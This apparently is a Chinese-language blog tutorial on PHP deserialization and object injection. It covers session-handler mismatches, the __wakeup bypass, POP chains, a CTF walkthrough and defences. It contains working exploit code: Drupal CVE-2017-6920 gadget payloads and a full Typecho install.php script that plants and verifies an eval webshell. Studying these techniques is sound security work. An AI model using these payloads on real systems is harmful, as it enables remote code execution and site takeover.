0x01前言

暑假里留下的坑,反序列化和对象注入的概念比较模糊,写着写着自己就懵逼了,两个概念搅在一起。。。写的比较浅,有挺多东西还得深入研究。。。

0x02反序列化导致的对象注入

php反序列化漏洞一般出现在两种场景中:

  1. PHP Session 序列化及反序列化处理器设置使用不当。
  2. 将传来的序列化数据直接unserilize,造成魔幻函数的执行。

下面分别来看一下:

2.1 PHP Session 序列化及反序列化处理器设置使用不当

首先需要一点预备知识

php在存取$_SESSION的数据时会对数据进行序列化与反序列化,对此php内置了多种处理器,常见的有三种:

mark

如果 PHP 在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。举个小例子:

test1.php

1
2
3
4
5
6
7
8
<?php
//设置序列化及反序列化时使用的处理器
ini_set('session.serialize_handler', 'php_serialize');
@session_start();
$_SESSION['test'] = '|O:8:"stdClass":0:{}';
var_dump($_SESSION);
//运行结果: array(1) { ["test"]=> string(20) "|O:8:"stdClass":0:{}" }
?>

在设置了session之后访问另一个页面

test2.php

1
2
3
4
5
<?php 
@session_start();
var_dump($_SESSION);
//运行结果: array(1) { ["a:1:{s:4:"test";s:20:""]=> object(stdClass)#1 (0) { } }
?>

这个页面没有设置任何处理器,使用默认的session.serialize_handler = php,可以看到通过注入|,伪造了对象的序列化数据,php把"a:1:{s:4:"test";s:20:""当做了键名,成功实例化了stdClass对象,造成了php对象注入。

实际利用的话分两种情况

  • session.auto_start=On

    当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。

    修改一下上文中test1.php

    1
    2
    3
    4
    5
    6
    7
    8
    if(ini_get('session.auto_start')) 
    session_destroy();

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();

    if(isset($_GET['test']))
    $_SESSION['test'] = $_GET['test'];

    访问http://127.0.0.1/test/serialize/test1.php?test=|O:8:"stdClass":0:{}

    如果在这个session设置成功后,有其他的页面使用这个session,由于处理器的不同,就会导致安全问题。然而PHP自动注册Session会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

  • session.auto_start = Off

    两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,就像前面预备知识提到的那样。

    test1.php

    1
    2
    3
    4
    5
    <?php
    ini_set('session.serialize_handler', 'php_serialize');
    @session_start();
    $_SESSION['test'] = '|O:4:"test":1:{s:2:"hi";s:4:"test";}';
    ?>

    test2.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    ini_set('session.serialize_handler', 'php');
    @session_start();
    class test {
    public $hi;

    function __wakeup() {
    echo "__wakeup called<br/>";
    echo "hi ";
    }

    function __destruct() {
    echo $this->hi;
    }
    }

    /*输出:
    __wakeup called
    hi test
    */
    ?>

    unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

    首先访问test1.php,php会按照 php_serialize 处理器的序列化格式存储数据。访问 test2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 test 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法。

2.2 将传来的序列化数据直接unserilize,造成魔幻函数的执行

这个问题其实上面已经提到过,unserialize函数在执行时会调用__wakeup方法和__destruct方法(如果存在)。如果这两个函数中存在一些重要的或者存在漏洞的代码,恰好反序列化的数据是可控的,这些代码就会被恶意执行,造成意想不到的后果。

php的magic function在这儿:http://php.net/manual/zh/language.oop5.magic.php,还有一些其他的有意思的魔术方法。

但是我们在这里举一个不一样的例子,有点反其道而行之的意思。试想,既然在unserialize时候会调用__wakeup函数,如果反序列化的数据存在问题的话,直接在__wakeup方法给过滤掉不就行了。那么我们的目标就从执行__wakeup变为了绕过他。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
class Test {
public $username;

public function __wakeup() {
$this->username = addslashes($this->username);
}
}

$t = new Test();
$t->username = $_GET['test'];
//echo serialize($t);
$info = serialize($t);
//do something... set cookie or insert into database...
$info = unserialize($info);
var_dump($info);
?>

mark

这里用来bypass__wakeup的是php5.6以下版本的一个漏洞——CVE-2016-7124

稍微修改一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
error_reporting(0);
class Test {
public $username;

function __wakeup() {
echo "__wakeup called<br/>";
$this->username = addslashes($this->username);
}

function __destruct() {
echo "__destruct called ";
echo $this->username;
}
}

$info = $_GET['info'];
$obj = unserialize($info);
?>

mark

mark

可以看到,当我们修改了属性个数时,就会导致__wakeup()中的语句不被执行。

实战见 SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析,文章写的很详细了,不再多说。

0x03 进阶–构造pop链

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。

反序列化可以控制类属性,无论是private还是public

一个小例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Evil {
private $data;

public function action() {
eval($this->data);
}
}

class Test {
protected $obj;

public function __destruct() {
//$this->obj->action();
$this->handle();
}

public function handle() {
$this->obj->action();
}
}
unserialize($_GET['info']);
?>

Evil类中的action方法存在漏洞,但是我们无法直接调用他。这时候我们发现Test类中有__destruct方法,并且调用了obj的action方法。这里我们可以控制Test类的obj属性为任意对象,这里我们将obj实例化为Evil的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class Test {
protected $obj; //这里无法直接实例化,需要在构造方法中new

public function __construct() {
$this->obj = new Evil(); //将obj实例化为Evil的对象
}
}

class Evil {
private $data = "phpinfo();";
}

$t = new Test();
echo urlencode(serialize($t));
?>

mark

这里在生成序列化字符串的时候记得urlencode一下,因为如果类中存在protected或private属性,在序列化时会有一些空字节,直接输出是看不出来的,payload也不会生效。

我们在构造好pop链之后,需要运行php得到payload,然后再放到python脚本中,非常麻烦。这里推荐一个php curl的类库:https://github.com/php-mod/curl,github上的几个都试了一下,个人感觉这个比较顺手。虽然没有requests那么强大,不过够用了。

实战一:Joomla

Joomla远程代码执行漏洞分析(总结) 无处不在的p牛,感觉不管研究什么漏洞,转一圈总能看到p牛的blog。。。膜。。。

实战二:Drupal 8.0

CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造

附上文中三处可利用类的exp

  1. /vendor/symfony/process/Pipes/WindowsPipes.php 任意文件删除

    1
    2
    3
    4
    5
    6
    namespace Symfony\Component\Process\Pipes;
    class WindowsPipes {
    private $files = array('/var/www/html/1.txt');
    }
    $w = new WindowsPipes();
    echo '!php/object "'.addslashes((serialize($w))).'"';
  2. /vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 写入webshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    require '/var/www/html/vendor/autoload.php';
    use GuzzleHttp\Cookie\FileCookieJar;
    use GuzzleHttp\Cookie\SetCookie;
    $obj = new FileCookieJar('/var/www/html/shell.php');
    $payload = '<?php @eval($_POST[123]);?>';
    $obj->setCookie(new SetCookie([
    'Name' => 'foo',
    'Domain' => $payload,
    'Value'=> 'bar',
    'Expires' => time()]));
    echo '!php/object "'.addslashes(serialize($obj)).'"');
    ?>
  3. /vendor/guzzlehttp/psr7/src/FnStream.php 任意无参函数执行

    1
    2
    3
    4
    5
    6
    7
    8
    <?php 
    namespace GuzzleHttp\Psr7;
    class FnStream {
    public $_fn_close = 'phpinfo';
    }

    $f = new FnStream();
    echo '!php/object "'.addslashes((serialize($f))).'"';

实战三:Typecho

2017-10-24

Typecho出事了!!!没有错,我的博客也是Typecho。。。不过我搭好之后就把install.php给删了。本来install的问题很古老了,但是Typecho愣是在安装完成之后对install.php没有做任何操作,难道是官网推荐下载的稳定版本是2014年的原因?

分析文章(Typecho install.php 反序列化导致任意代码执行)写的很清楚了,附上php版本的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require '../vendor/autoload.php';
use \Curl\Curl;

class Typecho_Feed
{
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
private $_type;
private $_charset;
private $_lang;
private $_items = array();

public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}

public function addItem(array $item)
{
$this->_items[] = $item;
}
}

class Typecho_Request
{
private $_param = array(
'screenName'=> 'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')'
);
private $_filter = array('assert');
}

$payload1 = new Typecho_Feed(5, 'ATOM 1.0');
$payload2 = new Typecho_Request();
$payload1->addItem(array('author'=> $payload2));
$exp['adapter'] = $payload1;
$exp['prefix'] = 'test';
$_typecho_config = base64_encode(serialize($exp));
//echo $_typecho_config;

$curl = new Curl();
$curl->setOpt(CURLOPT_SSL_VERIFYPEER, FALSE); //访问https
$target_url = 'https:/127.0.0.1/typecho';
$url = $target_url.'/install.php?finish=1';

$curl->get($target_url.'/install.php');
if($curl->error)
exit('install.php is not exist');
else
echo "install.php is exist\n";

$curl->setCookie('__typecho_lang', 'zh_CN');
$curl->setCookie('__typecho_config', $_typecho_config);
$curl->get($url);
$shell_url = $target_url.'/usr/themes/default/img/c.php';
$curl->get($shell_url);
echo ($curl->error) ? 'Falied...' : $shell_url;

0x04 牛刀小试

菜鸡挖不到洞就只能做ctf。。。

首先是jarvisoj上的phpinfo

http://web.jarvisoj.com:32784/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

index.php使用的序列化处理器为php,通过查看phpinfo可知默认为php_serialize。可是漏洞的触发点在哪儿?我们如何将数据存入$_SESSION中?

继续看phpinfo,发现session.upload_progress.enabled打开且session.upload_progress.cleanup关闭的。

mark

知识点来了:

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

所以我们要先写一个html页面:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

接下来的任务是构造序列化字符串。

1
2
3
4
5
6
7
8
<?php
class OowoO
{
public $mdzz = 'payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

通过phpinfo获得网站路径为/opt/lampp/htdocs,首先列目录

1
2
3
public $mdzz = "print_r(scandir('/opt/lampp/htdocs'));";
得到序列化字符串:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir('/opt/lampp/htdocs'));\";}

使用之前的写好的html页面上传任意文件,抓包修改filename

mark

双引号需要转义一下。

接下来是读取Here_1s_7he_fl4g_buT_You_Cannot_see.php中的内容。

mark

任务完成~

还有一个lemon大佬的php反序列化pop链一则,篇幅问题就不再写。。。

0x05 防御

  1. 尽量使用json_endcode/json_decode来代替serialize/unserialize

  2. unserialize中存在用户可控部分时进行严格过滤

    1
    2
    3
    4
    preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
    if (count($matches)) {
    return false;
    }

    from SugarCRMv6.5.24

0x06 参考资料

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

有趣的php反序列化总结

magic函数__wakeup()引发的漏洞

【技术分享】PHP反序列化漏洞成因及漏洞挖掘技巧与案例

PHP Object Inject